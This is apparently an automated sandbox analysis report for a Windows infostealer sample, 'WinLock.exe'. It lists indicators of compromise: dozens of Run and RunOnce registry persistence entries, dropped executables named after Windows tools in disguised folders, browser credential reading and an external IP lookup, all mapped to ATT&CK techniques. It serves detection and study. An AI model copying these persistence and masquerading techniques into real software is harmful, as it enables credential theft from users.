789722e6c338e8b28e317ca0af76c3dbe3bb221b6f4309a49e3e154005e0607a

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSystemServiceUpdate.bat	WinLock.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSystemServiceUpdate.bat	WinLock.exe

Executes dropped EXE 64 IoCs

pid	Process
2756	WinLock.exe
4616	hh.exe
3304	DWWIN.EXE
2416	msra.exe
5524	replace.exe
5556	shrpubw.exe
5644	CheckNetIsolation.exe
5692	dccw.exe
5744	hh.exe
5816	DWWIN.EXE
5824	extrac32.exe
5980	extrac32.exe
5988	dccw.exe
5924	hh.exe
5996	replace.exe
216	CheckNetIsolation.exe
6612	DWWIN.EXE
6868	WinLock.exe
6888	extrac32.exe
6988	PasswordOnWakeSettingFlyout.exe
7112	vcredist_x86.exe
7128	auditpol.exe
2292	shrpubw.exe
3312	vcredist_x86.exe
7132	cacls.exe
4768	certutil.exe
1720	fixmapi.exe
1312	systeminfo.exe
5852	certutil.exe
4480	PasswordOnWakeSettingFlyout.exe
4604	msra.exe
6972	msra.exe
5556	RdpSaProxy.exe
4636	certutil.exe
5968	PasswordOnWakeSettingFlyout.exe
5100	user.exe
4780	auditpol.exe
5440	extrac32.exe
5332	credwiz.exe
2356	PasswordOnWakeSettingFlyout.exe
5176	ktmutil.exe
3872	ktmutil.exe
5576	ddodiag.exe
5544	SecEdit.exe
4480	RestoreStop.exe
1872	msra.exe
3028	odbcconf.exe
2192	mmgaserver.exe
5292	SecEdit.exe
3196	extrac32.exe
6292	fixmapi.exe
5436	systeminfo.exe
3152	cacls.exe
6044	RestoreStop.exe
5488	WSManHTTPConfig.exe
4064	RdpSaProxy.exe
6160	PasswordOnWakeSettingFlyout.exe
6664	ComputerDefaults.exe
3808	dialer.exe
6612	ComputerDefaults.exe
7132	SystemPropertiesAdvanced.exe
3764	explorer.exe
4420	explorer.exe
6800	RestoreStop.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows.Media.BackgroundPlayback_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Logs\\UpdateCache\\Windows.Media.BackgroundPlayback.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\credwiz_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\credwiz.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\reg_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\RequestPing\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\reg.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesAdvanced_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1A3E.tmp\\Logs\\UpdateCache\\SystemPropertiesAdvanced.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wscript_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\MergeSync\\Logs\\wscript.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ComputerDefaults_3_Once = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\ComputerDefaults.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\reg_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\RequestPing\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\reg.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\convert_5_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnregisterTest\\Logs\\UpdateCache\\UpdateCache\\convert.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\netsh_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Sun\\Logs\\UpdateCache\\netsh.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmdl32_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\InitializeJoin\\Logs\\UpdateCache\\cmdl32.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fltMC_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\OutWatch\\Logs\\UpdateCache\\fltMC.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ipconfig_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Packages\\Logs\\UpdateCache\\UpdateCache\\ipconfig.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OposHost_7_Once = "\"C:\\ProgramData\\MicrosoftService\\OposHost.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\dvdplay_3_Once = "\"C:\\ProgramData\\MicrosoftService\\dvdplay.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\msra_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\UseRemove\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\msra.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PresentationHost_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1B8C.tmp\\Logs\\UpdateCache\\PresentationHost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WSManHTTPConfig_3_Once = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\WSManHTTPConfig.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LaunchWinApp_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\LaunchWinApp.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\replace_7 = "\"C:\\ProgramData\\Microsoft OneDrive\\Logs\\UpdateCache\\UpdateCache\\replace.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchFilterHost_3 = "\"C:\\ProgramData\\MicrosoftService\\SearchFilterHost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xwizard_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UpdateCache\\xwizard.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\shrpubw = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --wininit"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\gpupdate_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Low\\Logs\\gpupdate.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\odbcconf_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD19EE.tmp\\Logs\\UpdateCache\\odbcconf.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\makecab_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1D3C.tmp\\Logs\\UpdateCache\\makecab.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dccw_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UpdateCache\\dccw.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows.Media.BackgroundPlayback_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\Windows.Media.BackgroundPlayback.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\reg_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\RequestPing\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\reg.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sort_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\sort.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\credwiz_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\credwiz.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\hh_5_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\ExitReset\\Logs\\UpdateCache\\hh.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\regedit_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\UpdateCache\\regedit.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows.Media.BackgroundPlayback_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1A24.tmp\\Logs\\Windows.Media.BackgroundPlayback.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\setup_7_Once = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\setup.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesAdvanced_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1A3E.tmp\\Logs\\UpdateCache\\SystemPropertiesAdvanced.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\tasklist_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\CopyRepair\\Logs\\UpdateCache\\tasklist.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msra_7 = "\"C:\\ProgramData\\MicrosoftService\\msra.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost_7 = "\"C:\\ProgramData\\MicrosoftService\\backgroundTaskHost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cmdl32_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\InitializeJoin\\Logs\\UpdateCache\\cmdl32.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\fltMC_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\OutWatch\\Logs\\fltMC.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MuiUnattend_3_Once = "\"C:\\ProgramData\\MicrosoftService\\MuiUnattend.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\certutil_7_Once = "\"C:\\ProgramData\\MicrosoftService\\UpdateCache\\certutil.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ddodiag_2 = "\"C:\\Users\\Admin\\AppData\\Local\\PlaceholderTileLogoFolder\\Logs\\UpdateCache\\ddodiag.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WSManHTTPConfig_3 = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\UpdateCache\\WSManHTTPConfig.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upnpcont_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1FEE.tmp\\Logs\\UpdateCache\\upnpcont.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\auditpol_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\auditpol.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\setup16_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\setup16.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WSManHTTPConfig_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1A04.tmp\\Logs\\UpdateCache\\WSManHTTPConfig.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WerFaultSecure_3_Once = "\"C:\\ProgramData\\MicrosoftService\\UpdateCache\\WerFaultSecure.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wscript_5_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\MergeSync\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\wscript.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchIndexer_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\EnterJoin\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\SearchIndexer.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\msra_5_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\UseRemove\\Logs\\UpdateCache\\msra.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netplwiz_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD1E8E.tmp\\Logs\\Netplwiz.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\setup_7_Once = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\UpdateCache\\setup.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ipconfig_6 = "\"C:\\Users\\Admin\\AppData\\Local\\Packages\\Logs\\UpdateCache\\ipconfig.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\certutil_7 = "\"C:\\ProgramData\\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\\Logs\\UpdateCache\\UpdateCache\\certutil.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\shutdown_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TCD19EC.tmp\\Logs\\UpdateCache\\shutdown.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sdiagnhost_7 = "\"C:\\ProgramData\\ssh\\Logs\\UpdateCache\\UpdateCache\\sdiagnhost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\extrac32_7_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wscript_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\MergeSync\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\wscript.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ComputerDefaults_7_Once = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\UpdateCache\\ComputerDefaults.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer_3 = "\"C:\\ProgramData\\MicrosoftService\\explorer.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\setup_7 = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\setup.exe\" --guard"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
5	api.ipify.org
6	api.ipify.org

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
552	tasklist.exe
6352	tasklist.exe
5132	tasklist.exe
5264	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4140	cmd.exe
2584	cmd.exe
2156	cmd.exe
1916	cmd.exe
4532	cmd.exe
3780	cmd.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4672	cmd.exe
632	cmd.exe
3776	cmd.exe
5608	cmd.exe
6956	cmd.exe
6728	cmd.exe
5164	Process not Found
176	Process not Found
6460	cmd.exe
3384	cmd.exe
5148	cmd.exe
1952	cmd.exe
6288	cmd.exe
3324	cmd.exe
6168	cmd.exe
588	cmd.exe
5784	Process not Found
6756	Process not Found
2176	Process not Found
4536	cmd.exe
644	cmd.exe
6656	cmd.exe
5424	cmd.exe
4240	cmd.exe
4296	cmd.exe
4644	cmd.exe
1160	cmd.exe
6864	cmd.exe
5272	cmd.exe
1956	Process not Found
5320	cmd.exe
4596	cmd.exe
5396	cmd.exe
5260	Process not Found
2908	Process not Found
4348	Process not Found
5476	cmd.exe
4976	cmd.exe
2724	cmd.exe
3060	cmd.exe
3840	cmd.exe
560	Process not Found
3720	cmd.exe
4632	cmd.exe
3876	Process not Found
1788	cmd.exe
4560	cmd.exe
5252	Process not Found
4696	cmd.exe
1740	cmd.exe
6528	cmd.exe
5112	cmd.exe
6784	cmd.exe
1768	Process not Found
1592	cmd.exe
6372	cmd.exe
3836	cmd.exe
6860	cmd.exe
4580	Process not Found
4768	cmd.exe
7084	cmd.exe
3636	cmd.exe
4068	cmd.exe
2936	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	auditpol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SystemPropertiesAdvanced.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msra.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	user.exe
